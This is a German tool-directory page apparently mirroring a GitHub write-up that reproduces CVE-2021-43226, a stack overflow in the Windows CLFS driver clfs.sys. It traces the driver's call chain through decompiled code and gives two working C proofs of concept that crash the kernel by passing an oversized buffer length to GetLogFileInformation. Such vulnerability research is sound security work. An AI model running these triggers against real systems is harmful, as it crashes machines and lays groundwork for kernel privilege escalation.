Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2021-43226PoC — Ein Machbarkeitsnachweis für cve-2021-43226, Stack-Überlauf im Windows-Treiber clfs.sys | Kitploit
Tools/GitHubGitHub/rosayxy/cve-2021-43226poc
SchwachstellenanalyseExploitationBinary-Exploitation
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

Ein Machbarkeitsnachweis für cve-2021-43226, Stack-Überlauf im Windows-Treiber clfs.sys

Repository anzeigen
21vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-43226 Reproduktion

Umgebung

Betriebssystem: Win10 20H2 Build 19042.508 auf Hyper-V. Eine Website gefunden: https://os.click/en, die Windows-Images ziemlich vollständig und bisher ohne Hintertür enthält.
Da das gefundene PoC mit Visual Studio 2013 kompiliert wurde, verwende auch ich Visual Studio 2013 mit statischer Verknüpfung.

Schwachstelle

Der Schwachstellenpunkt liegt in der Funktion CClfsLogFcbVirtual::QueryLogFileInfo in clfs.sys. clfs.sys wird in der Microsoft-Dokumentation beschrieben als:

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

Der erste Zeiger dieser Funktion ist ein CClfsLogFcbVirtual* this. Vergleicht man den Code vor und nach dem Patch, fällt ein relativ offensichtlicher Unterschied in einem Codeabschnitt wie diesem auf:

root@kitploit:~
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))(
              *((_QWORD *)this + 78),
              a2,
              0i64,
              0i64,
              0,
              Src,
              Size);

ob zuvor Size auf 120 gesetzt wurde oder nicht.

Unter den anderen von dieser Funktion aufgerufenen Parametern ist a2 ein FILE_OBJECT, Src ein Array auf dem Stack (IDA dekompiliert zu __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF), und die Beschreibung dieser Schwachstelle lautet Stack-Überlauf. Es wird vermutet, dass ein Stack-Überlauf auftritt, wenn Size größer als 120 ist.

Ein Problem war, dass Cross-References nicht direkt eingesehen werden konnten. Die Funktion wird über __guard_dispatch_icall_fptr aufgerufen. Derzeit wird noch ermittelt, wie die Parameterübergabe im Funktionsaufruf erfolgt.

(Update): Diese Funktion wird von ClfsQueryLogFileInformation oder CClfsRequest::LogFileInfo aufgerufen, die jeweils die APIs CreateLogFile und GetLogFileInformation verwenden. Da die Aufrufkette von GetLogFileInformation deutlich kürzer ist, wurde diese API gewählt, um einen Crash zu erzeugen.

Die letzte Parameterübergabe beim Aufruf von GetLogFileInformation erfolgt in der Funktion LogFileInfo wie folgt:

root@kitploit:~
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

Dabei ist v14 ein FileObject, und this ist ein CClfsRequest, das als Parameter an LogFileInfo übergeben wurde.

Betrachtet man die Funktion, die LogFileInfo aufruft, nämlich CClfsRequest::Dispatch (genaue Deklaration: __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)), so verwendet diese LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; um zu bestimmen, welche Funktion genau aufgerufen wird. Dabei ist CurrentStackLocation ein Struct: struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx wird als Parameter übergeben. Die Zuweisung von this hängt wiederum von den Parametern ab, die die übergeordnete Funktion an diese dispatch-Funktion übergibt. Daher schauen wir weiter nach oben.

Als nächstes kommt die Funktion CClfsDispatchIoRequest: v7 = CClfsRequest::Dispatch(v4, Irp, a1); a1 und Irp sind die übergebenen Parameter, a1 ist ein DeviceObject, Irp ist ein Zeiger vom Typ PIRP (zu IRP siehe https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp). Die Zuweisung von v4 erfolgt wie folgt:

root@kitploit:~
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6); // v4 ist vom Typ int64

Weiter geht es mit der Parameterübergabe in der Funktion CClfsDriver::LogIoDispatch, die ihre eigenen Parameter direkt an die CClfsDispatchIoRequest-Funktion übergibt. Eine Stufe weiter oben ist die Funktion nt!IofCallDriver, deren Deklaration lautet: NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );

Reproduktion

Zunächst die genauen Deklarationen und Parameterbedeutungen der API ermitteln.

GetLogFileInformation:

root@kitploit:~
CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

Die Parameter sind wie folgt definiert:

  • hLog: Ein Handle auf ein geöffnetes Log, das von einem erfolgreichen Aufruf von CreateLogFile stammt. Das Log-Handle kann sich auf ein dediziertes Log oder ein multiplexed Log beziehen.
  • pinfoBuffer: Ein Zeiger auf eine vom Benutzer zugewiesene CLFS_INFORMATION-Struktur, die die Log-Metadaten empfängt.
  • cbBuffer: Ein Zeiger auf eine Variable, die bei Eingabe die Größe des von pinfoBuffer referenzierten Metadaten-Puffers in Bytes angibt.
root@kitploit:~
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//create log file
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	//sizeof(CLS_INFORMATION) ist 120 also 0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

Dabei werden die Parameter von CreateLogFile und GetLogFileInformation einfach aus der Microsoft-Dokumentation übernommen (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file). Bezüglich des Log-Namens gab es jedoch ein Problem. Anfangs wurde weitgehend der Dokumentation gefolgt:

Beispiel: Der Pfad "LOG:c:\MyDirectory\MyLog" erstellt die Datei "c:\MyDirectory\MyLog.blf". Dabei stellte sich jedoch heraus, dass direkt im aktuellen Verzeichnis eine Logdatei namens "c" erstellt wurde. Daraufhin wurde das PoC (Andere) angesehen und auf den unter Windows üblichen Pfad "LOG: C:\MyLog" geändert. Aber auch so funktionierte es nicht. Beim Debuggen zeigte sich, dass nicht CClfsLogFcbVirtual::QueryLogFileInfo, sondern die Funktion CClfsLogFcbPhysical::QueryLogFileInfo aufgerufen wurde. Durch Hinzufügen eines Log-Stream-Namens funktionierte es dann.

Ein weiteres kleines Problem: Da Visual Studio bei der Codegenerierung statische Verknüpfung verwendet, meldet der Linker ohne die Zeile #pragma comment(lib,"clfsw32.lib") wiederholt Fehler, dass CreateLogFile, GetLogFileInformation nicht gefunden werden.

PoC (Andere)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

root@kitploit:~
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}
Tool herunterladen